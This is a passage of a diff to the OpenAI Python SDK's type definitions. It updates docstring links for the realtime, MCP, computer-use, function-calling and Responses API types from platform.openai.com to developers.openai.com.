model, since the model consumes audio directly. Transcription runs
asynchronously through
- [the /audio/transcriptions endpoint](https://platform.openai.com/docs/api-reference/audio/createTranscription)
+ [the /audio/transcriptions endpoint](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create)
and should be treated as guidance of input audio content rather than precisely
what the model heard. The client can optionally set the language and prompt for
transcription, these offer additional guidance to the transcription service.
diff --git a/src/openai/types/realtime/realtime_audio_config_input_param.py b/src/openai/types/realtime/realtime_audio_config_input_param.py
index 6f9e26caf6..36b911cf9a 100644
--- a/src/openai/types/realtime/realtime_audio_config_input_param.py
+++ b/src/openai/types/realtime/realtime_audio_config_input_param.py
@@ -48,7 +48,7 @@ class RealtimeAudioConfigInputParam(TypedDict, total=False):
`null` to turn off once on. Input audio transcription is not native to the
model, since the model consumes audio directly. Transcription runs
asynchronously through
- [the /audio/transcriptions endpoint](https://platform.openai.com/docs/api-reference/audio/createTranscription)
+ [the /audio/transcriptions endpoint](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create)
and should be treated as guidance of input audio content rather than precisely
what the model heard. The client can optionally set the language and prompt for
transcription, these offer additional guidance to the transcription service.
diff --git a/src/openai/types/realtime/realtime_response_create_mcp_tool.py b/src/openai/types/realtime/realtime_response_create_mcp_tool.py
index 694f598393..49ca282abc 100644
--- a/src/openai/types/realtime/realtime_response_create_mcp_tool.py
+++ b/src/openai/types/realtime/realtime_response_create_mcp_tool.py
@@ -85,7 +85,7 @@ class RequireApprovalMcpToolApprovalFilter(BaseModel):
class RealtimeResponseCreateMcpTool(BaseModel):
"""
Give the model access to additional tools via remote Model Context Protocol
- (MCP) servers. [Learn more about MCP](https://platform.openai.com/docs/guides/tools-remote-mcp).
+ (MCP) servers. [Learn more about MCP](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
"""
server_label: str
@@ -123,7 +123,7 @@ class RealtimeResponseCreateMcpTool(BaseModel):
One of `server_url`, `connector_id`, or `tunnel_id` must be provided. Learn more
about service connectors
- [here](https://platform.openai.com/docs/guides/tools-remote-mcp#connectors).
+ [here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
Currently supported `connector_id` values are:
diff --git a/src/openai/types/realtime/realtime_response_create_mcp_tool_param.py b/src/openai/types/realtime/realtime_response_create_mcp_tool_param.py
index 300e7c2fe1..4545e188ff 100644
--- a/src/openai/types/realtime/realtime_response_create_mcp_tool_param.py
+++ b/src/openai/types/realtime/realtime_response_create_mcp_tool_param.py
@@ -87,7 +87,7 @@ class RequireApprovalMcpToolApprovalFilter(TypedDict, total=False):
class RealtimeResponseCreateMcpToolParam(TypedDict, total=False):
"""
Give the model access to additional tools via remote Model Context Protocol
- (MCP) servers. [Learn more about MCP](https://platform.openai.com/docs/guides/tools-remote-mcp).
+ (MCP) servers. [Learn more about MCP](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
"""
server_label: Required[str]
@@ -123,7 +123,7 @@ class RealtimeResponseCreateMcpToolParam(TypedDict, total=False):
One of `server_url`, `connector_id`, or `tunnel_id` must be provided. Learn more
about service connectors
- [here](https://platform.openai.com/docs/guides/tools-remote-mcp#connectors).
+ [here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
Currently supported `connector_id` values are:
diff --git a/src/openai/types/realtime/realtime_response_create_params.py b/src/openai/types/realtime/realtime_response_create_params.py
index 6561f0d5a4..8991279349 100644
--- a/src/openai/types/realtime/realtime_response_create_params.py
+++ b/src/openai/types/realtime/realtime_response_create_params.py
@@ -94,7 +94,7 @@ class RealtimeResponseCreateParams(BaseModel):
prompt: Optional[ResponsePrompt] = None
"""
Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
"""
reasoning: Optional[RealtimeReasoning] = None
diff --git a/src/openai/types/realtime/realtime_response_create_params_param.py b/src/openai/types/realtime/realtime_response_create_params_param.py
index 0ec84f5a40..1801019967 100644
--- a/src/openai/types/realtime/realtime_response_create_params_param.py
+++ b/src/openai/types/realtime/realtime_response_create_params_param.py
@@ -95,7 +95,7 @@ class RealtimeResponseCreateParamsParam(TypedDict, total=False):
prompt: Optional[ResponsePromptParam]
"""
Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
"""
reasoning: RealtimeReasoningParam
diff --git a/src/openai/types/realtime/realtime_server_event.py b/src/openai/types/realtime/realtime_server_event.py
index 8262c92a76..24416e6cdd 100644
--- a/src/openai/types/realtime/realtime_server_event.py
+++ b/src/openai/types/realtime/realtime_server_event.py
@@ -81,7 +81,7 @@ class OutputAudioBufferStarted(BaseModel):
**WebRTC/SIP Only:** Emitted when the server begins streaming audio to the client. This event is
emitted after an audio content part has been added (`response.content_part.added`)
to the response.
- [Learn more](https://platform.openai.com/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
+ [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
"""
event_id: str
@@ -99,7 +99,7 @@ class OutputAudioBufferStopped(BaseModel):
**WebRTC/SIP Only:** Emitted when the output audio buffer has been completely drained on the server,
and no more audio is forthcoming. This event is emitted after the full response
data has been sent to the client (`response.done`).
- [Learn more](https://platform.openai.com/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
+ [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
"""
event_id: str
@@ -119,7 +119,7 @@ class OutputAudioBufferCleared(BaseModel):
mode when the user has interrupted (`input_audio_buffer.speech_started`),
or when the client has emitted the `output_audio_buffer.clear` event to manually
cut off the current audio response.
- [Learn more](https://platform.openai.com/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
+ [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
"""
event_id: str
diff --git a/src/openai/types/realtime/realtime_session_create_request.py b/src/openai/types/realtime/realtime_session_create_request.py
index 523568b174..3b15f995e0 100644
--- a/src/openai/types/realtime/realtime_session_create_request.py
+++ b/src/openai/types/realtime/realtime_session_create_request.py
@@ -98,7 +98,7 @@ class RealtimeSessionCreateRequest(BaseModel):
prompt: Optional[ResponsePrompt] = None
"""
Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
"""
reasoning: Optional[RealtimeReasoning] = None
diff --git a/src/openai/types/realtime/realtime_session_create_request_param.py b/src/openai/types/realtime/realtime_session_create_request_param.py
index 721c05bb24..d1ce2f1d40 100644
--- a/src/openai/types/realtime/realtime_session_create_request_param.py
+++ b/src/openai/types/realtime/realtime_session_create_request_param.py
@@ -98,7 +98,7 @@ class RealtimeSessionCreateRequestParam(TypedDict, total=False):
prompt: Optional[ResponsePromptParam]
"""
Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
"""
reasoning: RealtimeReasoningParam
diff --git a/src/openai/types/realtime/realtime_session_create_response.py b/src/openai/types/realtime/realtime_session_create_response.py
index 707c7e803d..8d1b6dc4ec 100644
--- a/src/openai/types/realtime/realtime_session_create_response.py
+++ b/src/openai/types/realtime/realtime_session_create_response.py
@@ -307,7 +307,7 @@ class ToolMcpToolRequireApprovalMcpToolApprovalFilter(BaseModel):
class ToolMcpTool(BaseModel):
"""
Give the model access to additional tools via remote Model Context Protocol
- (MCP) servers. [Learn more about MCP](https://platform.openai.com/docs/guides/tools-remote-mcp).
+ (MCP) servers. [Learn more about MCP](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
"""
server_label: str
@@ -345,7 +345,7 @@ class ToolMcpTool(BaseModel):
One of `server_url`, `connector_id`, or `tunnel_id` must be provided. Learn more
about service connectors
- [here](https://platform.openai.com/docs/guides/tools-remote-mcp#connectors).
+ [here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
Currently supported `connector_id` values are:
@@ -501,7 +501,7 @@ class RealtimeSessionCreateResponse(BaseModel):
prompt: Optional[ResponsePrompt] = None
"""
Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
"""
reasoning: Optional[RealtimeReasoning] = None
diff --git a/src/openai/types/realtime/realtime_tools_config_param.py b/src/openai/types/realtime/realtime_tools_config_param.py
index a2212fe0cc..3904e0a068 100644
--- a/src/openai/types/realtime/realtime_tools_config_param.py
+++ b/src/openai/types/realtime/realtime_tools_config_param.py
@@ -90,7 +90,7 @@ class McpRequireApprovalMcpToolApprovalFilter(TypedDict, total=False):
class Mcp(TypedDict, total=False):
"""
Give the model access to additional tools via remote Model Context Protocol
- (MCP) servers. [Learn more about MCP](https://platform.openai.com/docs/guides/tools-remote-mcp).
+ (MCP) servers. [Learn more about MCP](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
"""
server_label: Required[str]
@@ -126,7 +126,7 @@ class Mcp(TypedDict, total=False):
One of `server_url`, `connector_id`, or `tunnel_id` must be provided. Learn more
about service connectors
- [here](https://platform.openai.com/docs/guides/tools-remote-mcp#connectors).
+ [here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
Currently supported `connector_id` values are:
diff --git a/src/openai/types/realtime/realtime_tools_config_union.py b/src/openai/types/realtime/realtime_tools_config_union.py
index 84b232edde..74981702f0 100644
--- a/src/openai/types/realtime/realtime_tools_config_union.py
+++ b/src/openai/types/realtime/realtime_tools_config_union.py
@@ -88,7 +88,7 @@ class McpRequireApprovalMcpToolApprovalFilter(BaseModel):
class Mcp(BaseModel):
"""
Give the model access to additional tools via remote Model Context Protocol
- (MCP) servers. [Learn more about MCP](https://platform.openai.com/docs/guides/tools-remote-mcp).
+ (MCP) servers. [Learn more about MCP](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
"""
server_label: str
@@ -126,7 +126,7 @@ class Mcp(BaseModel):
One of `server_url`, `connector_id`, or `tunnel_id` must be provided. Learn more
about service connectors
- [here](https://platform.openai.com/docs/guides/tools-remote-mcp#connectors).
+ [here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
Currently supported `connector_id` values are:
diff --git a/src/openai/types/realtime/realtime_tools_config_union_param.py b/src/openai/types/realtime/realtime_tools_config_union_param.py
index 84681137f1..9f9498c408 100644
--- a/src/openai/types/realtime/realtime_tools_config_union_param.py
+++ b/src/openai/types/realtime/realtime_tools_config_union_param.py
@@ -89,7 +89,7 @@ class McpRequireApprovalMcpToolApprovalFilter(TypedDict, total=False):
class Mcp(TypedDict, total=False):
"""
Give the model access to additional tools via remote Model Context Protocol
- (MCP) servers. [Learn more about MCP](https://platform.openai.com/docs/guides/tools-remote-mcp).
+ (MCP) servers. [Learn more about MCP](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
"""
server_label: Required[str]
@@ -125,7 +125,7 @@ class Mcp(TypedDict, total=False):
One of `server_url`, `connector_id`, or `tunnel_id` must be provided. Learn more
about service connectors
- [here](https://platform.openai.com/docs/guides/tools-remote-mcp#connectors).
+ [here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
Currently supported `connector_id` values are:
diff --git a/src/openai/types/realtime/realtime_transcription_session_audio_input.py b/src/openai/types/realtime/realtime_transcription_session_audio_input.py
index e204ff674c..a80aa808b6 100644
--- a/src/openai/types/realtime/realtime_transcription_session_audio_input.py
+++ b/src/openai/types/realtime/realtime_transcription_session_audio_input.py
@@ -48,7 +48,7 @@ class RealtimeTranscriptionSessionAudioInput(BaseModel):
`null` to turn off once on. Input audio transcription is not native to the
model, since the model consumes audio directly. Transcription runs
asynchronously through
- [the /audio/transcriptions endpoint](https://platform.openai.com/docs/api-reference/audio/createTranscription)
+ [the /audio/transcriptions endpoint](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create)
and should be treated as guidance of input audio content rather than precisely
what the model heard. The client can optionally set the language and prompt for
transcription, these offer additional guidance to the transcription service.
diff --git a/src/openai/types/realtime/realtime_transcription_session_audio_input_param.py b/src/openai/types/realtime/realtime_transcription_session_audio_input_param.py
index 5b00dc71ea..f58885c4cf 100644
--- a/src/openai/types/realtime/realtime_transcription_session_audio_input_param.py
+++ b/src/openai/types/realtime/realtime_transcription_session_audio_input_param.py
@@ -50,7 +50,7 @@ class RealtimeTranscriptionSessionAudioInputParam(TypedDict, total=False):
`null` to turn off once on. Input audio transcription is not native to the
model, since the model consumes audio directly. Transcription runs
asynchronously through
- [the /audio/transcriptions endpoint](https://platform.openai.com/docs/api-reference/audio/createTranscription)
+ [the /audio/transcriptions endpoint](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create)
and should be treated as guidance of input audio content rather than precisely
what the model heard. The client can optionally set the language and prompt for
transcription, these offer additional guidance to the transcription service.
diff --git a/src/openai/types/responses/computer_tool.py b/src/openai/types/responses/computer_tool.py
index 4788edd98f..151d71fe33 100644
--- a/src/openai/types/responses/computer_tool.py
+++ b/src/openai/types/responses/computer_tool.py
@@ -10,7 +10,7 @@
class ComputerTool(BaseModel):
"""A tool that controls a virtual computer.
- Learn more about the [computer tool](https://platform.openai.com/docs/guides/tools-computer-use).
+ Learn more about the [computer tool](https://developers.openai.com/api/docs/guides/tools-computer-use).
"""
type: Literal["computer"]
diff --git a/src/openai/types/responses/computer_tool_param.py b/src/openai/types/responses/computer_tool_param.py
index c2f01e5140..5d8eed8568 100644
--- a/src/openai/types/responses/computer_tool_param.py
+++ b/src/openai/types/responses/computer_tool_param.py
@@ -10,7 +10,7 @@
class ComputerToolParam(TypedDict, total=False):
"""A tool that controls a virtual computer.
- Learn more about the [computer tool](https://platform.openai.com/docs/guides/tools-computer-use).
+ Learn more about the [computer tool](https://developers.openai.com/api/docs/guides/tools-computer-use).
"""
type: Required[Literal["computer"]]
diff --git a/src/openai/types/responses/computer_use_preview_tool.py b/src/openai/types/responses/computer_use_preview_tool.py
index 98254d4a2c..548de391e9 100644
--- a/src/openai/types/responses/computer_use_preview_tool.py
+++ b/src/openai/types/responses/computer_use_preview_tool.py
@@ -10,7 +10,7 @@
class ComputerUsePreviewTool(BaseModel):
"""A tool that controls a virtual computer.
- Learn more about the [computer tool](https://platform.openai.com/docs/guides/tools-computer-use).
+ Learn more about the [computer tool](https://developers.openai.com/api/docs/guides/tools-computer-use).
"""
display_height: int
diff --git a/src/openai/types/responses/computer_use_preview_tool_param.py b/src/openai/types/responses/computer_use_preview_tool_param.py
index e966b7e96b..39109a156d 100644
--- a/src/openai/types/responses/computer_use_preview_tool_param.py
+++ b/src/openai/types/responses/computer_use_preview_tool_param.py
@@ -10,7 +10,7 @@
class ComputerUsePreviewToolParam(TypedDict, total=False):
"""A tool that controls a virtual computer.
- Learn more about the [computer tool](https://platform.openai.com/docs/guides/tools-computer-use).
+ Learn more about the [computer tool](https://developers.openai.com/api/docs/guides/tools-computer-use).
"""
display_height: Required[int]
diff --git a/src/openai/types/responses/custom_tool.py b/src/openai/types/responses/custom_tool.py
index c91aeba0c0..4a723b5cc3 100644
--- a/src/openai/types/responses/custom_tool.py
+++ b/src/openai/types/responses/custom_tool.py
@@ -14,7 +14,7 @@
class CustomTool(BaseModel):
"""A custom tool that processes input using a specified format.
- Learn more about [custom tools](https://platform.openai.com/docs/guides/function-calling#custom-tools)
+ Learn more about [custom tools](https://developers.openai.com/api/docs/guides/function-calling#custom-tools)
"""
name: str
diff --git a/src/openai/types/responses/custom_tool_param.py b/src/openai/types/responses/custom_tool_param.py
index 32a295f9a0..8a6e7aaaff 100644
--- a/src/openai/types/responses/custom_tool_param.py
+++ b/src/openai/types/responses/custom_tool_param.py
@@ -21,7 +21,7 @@
class CustomToolParam(_CustomToolParamReservedKeywords, total=False):
"""A custom tool that processes input using a specified format.
- Learn more about [custom tools](https://platform.openai.com/docs/guides/function-calling#custom-tools)
+ Learn more about [custom tools](https://developers.openai.com/api/docs/guides/function-calling#custom-tools)
"""
name: Required[str]
diff --git a/src/openai/types/responses/file_search_tool.py b/src/openai/types/responses/file_search_tool.py
index b44ccbd61a..d0c30e4d24 100644
--- a/src/openai/types/responses/file_search_tool.py
+++ b/src/openai/types/responses/file_search_tool.py
@@ -47,7 +47,7 @@ class RankingOptions(BaseModel):
class FileSearchTool(BaseModel):
"""A tool that searches for relevant content from uploaded files.
- Learn more about the [file search tool](https://platform.openai.com/docs/guides/tools-file-search).
+ Learn more about the [file search tool](https://developers.openai.com/api/docs/guides/tools-file-search).
"""
type: Literal["file_search"]
diff --git a/src/openai/types/responses/file_search_tool_param.py b/src/openai/types/responses/file_search_tool_param.py
index d75987b39a..802c75b5ad 100644
--- a/src/openai/types/responses/file_search_tool_param.py
+++ b/src/openai/types/responses/file_search_tool_param.py
@@ -49,7 +49,7 @@ class RankingOptions(TypedDict, total=False):
class FileSearchToolParam(TypedDict, total=False):
"""A tool that searches for relevant content from uploaded files.
- Learn more about the [file search tool](https://platform.openai.com/docs/guides/tools-file-search).
+ Learn more about the [file search tool](https://developers.openai.com/api/docs/guides/tools-file-search).
"""
type: Required[Literal["file_search"]]
diff --git a/src/openai/types/responses/function_tool.py b/src/openai/types/responses/function_tool.py
index ddec85b510..38d1005094 100644
--- a/src/openai/types/responses/function_tool.py
+++ b/src/openai/types/responses/function_tool.py
@@ -13,7 +13,7 @@
class FunctionTool(BaseModel):
"""Defines a function in your own code the model can choose to call.
- Learn more about [function calling](https://platform.openai.com/docs/guides/function-calling).
+ Learn more about [function calling](https://developers.openai.com/api/docs/guides/function-calling).
"""
name: str
diff --git a/src/openai/types/responses/function_tool_param.py b/src/openai/types/responses/function_tool_param.py
index c84b42597f..5e4055e15e 100644
--- a/src/openai/types/responses/function_tool_param.py
+++ b/src/openai/types/responses/function_tool_param.py
@@ -19,7 +19,7 @@
class FunctionToolParam(_FunctionToolParamReservedKeywords, total=False):
"""Defines a function in your own code the model can choose to call.
- Learn more about [function calling](https://platform.openai.com/docs/guides/function-calling).
+ Learn more about [function calling](https://developers.openai.com/api/docs/guides/function-calling).
"""
name: Required[str]
diff --git a/src/openai/types/responses/input_token_count_params.py b/src/openai/types/responses/input_token_count_params.py
index 886a370e02..a0f0963444 100644
--- a/src/openai/types/responses/input_token_count_params.py
+++ b/src/openai/types/responses/input_token_count_params.py
@@ -53,8 +53,8 @@ class InputTokenCountParams(TypedDict, total=False):
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
"""
parallel_tool_calls: Optional[bool]
@@ -71,14 +71,14 @@ class InputTokenCountParams(TypedDict, total=False):
"""The unique ID of the previous response to the model.
Use this to create multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
"""
reasoning: Optional[Reasoning]
"""
**gpt-5 and o-series models only** Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
"""
text: Optional[Text]
@@ -86,8 +86,8 @@ class InputTokenCountParams(TypedDict, total=False):
Can be plain text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
tool_choice: Optional[ToolChoice]
@@ -118,8 +118,8 @@ class Text(TypedDict, total=False):
Can be plain
text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
format: ResponseFormatTextConfigParam
@@ -127,7 +127,7 @@ class Text(TypedDict, total=False):
Configuring `{ "type": "json_schema" }` enables Structured Outputs, which
ensures the model will match your supplied JSON schema. Learn more in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
The default format is `{ "type": "text" }` with no additional options.
diff --git a/src/openai/types/responses/response.py b/src/openai/types/responses/response.py
index da3cd66a1f..92c02ce69f 100644
--- a/src/openai/types/responses/response.py
+++ b/src/openai/types/responses/response.py
@@ -293,8 +293,8 @@ class Response(BaseModel):
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
"""
object: Literal["response"]
@@ -337,17 +337,18 @@ class Response(BaseModel):
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers or
predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code with strongly typed arguments and outputs.
Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
You can also use custom tools to call your own code.
"""
@@ -363,7 +364,7 @@ class Response(BaseModel):
background: Optional[bool] = None
"""
Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
"""
completed_at: Optional[float] = None
@@ -383,7 +384,7 @@ class Response(BaseModel):
"""
An upper bound for the number of tokens that can be generated for a response,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
"""
max_tool_calls: Optional[int] = None
@@ -404,14 +405,14 @@ class Response(BaseModel):
"""The unique ID of the previous response to the model.
Use this to create multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
"""
prompt: Optional[ResponsePrompt] = None
"""
Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
"""
prompt_cache_diagnostics: Optional[PromptCacheDiagnostics] = None
@@ -421,7 +422,7 @@ class Response(BaseModel):
"""
Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
"""
prompt_cache_options: Optional[PromptCacheOptions] = None
@@ -436,7 +437,7 @@ class Response(BaseModel):
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -453,7 +454,7 @@ class Response(BaseModel):
reasoning: Optional[Reasoning] = None
"""
Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
"""
safety_identifier: Optional[str] = None
@@ -463,7 +464,7 @@ class Response(BaseModel):
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
service_tier: Optional[ServiceTier] = None
@@ -474,13 +475,15 @@ class Response(BaseModel):
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the
access-controlled Ultrafast Processing service tier. This tier is currently
available for `gpt-5.6-sol`; a response served through it will show
@@ -505,8 +508,8 @@ class Response(BaseModel):
Can be plain text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
top_logprobs: Optional[int] = None
@@ -538,7 +541,7 @@ class Response(BaseModel):
Use `prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
@property
diff --git a/src/openai/types/responses/response_compact_params.py b/src/openai/types/responses/response_compact_params.py
index 99069f6504..ce540c15d2 100644
--- a/src/openai/types/responses/response_compact_params.py
+++ b/src/openai/types/responses/response_compact_params.py
@@ -126,8 +126,8 @@ class ResponseCompactParams(TypedDict, total=False):
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
"""
input: Union[str, Iterable[ResponseInputItemParam], None]
@@ -145,7 +145,7 @@ class ResponseCompactParams(TypedDict, total=False):
"""The unique ID of the previous response to the model.
Use this to create multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
"""
@@ -162,7 +162,7 @@ class ResponseCompactParams(TypedDict, total=False):
breakpoints in the conversation, without a content-block lookback limit. Set
`mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to
`30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
"""
@@ -176,11 +176,12 @@ class ResponseCompactParams(TypedDict, total=False):
configured in the Project settings. Unless otherwise configured, the Project
will use 'default'. - If set to 'default', then the request will be processed
with the standard pricing and performance for the selected model. - If set to
- '[flex](https://platform.openai.com/docs/guides/flex-processing)', then the
- request will be processed with the Flex Processing service tier. - To opt-in
- to [Fast mode](/api/docs/guides/fast-mode) at the request level, include the
- `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat
- Completions. For models with a dedicated Fast tier, either value resolves to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier. - To
+ opt-in to [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode)
+ at the request level, include the `service_tier=fast` or
+ `service_tier=priority` parameter for Responses or Chat Completions. For
+ models with a dedicated Fast tier, either value resolves to
`service_tier=fast`; for other models, either value resolves to
`service_tier=priority`. - When not set, the default behavior is 'auto'. When
the `service_tier` parameter is set, the response body will include the
@@ -193,7 +194,7 @@ class ResponseCompactParams(TypedDict, total=False):
class PromptCacheOptions(TypedDict, total=False):
"""Options for prompt caching.
- Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
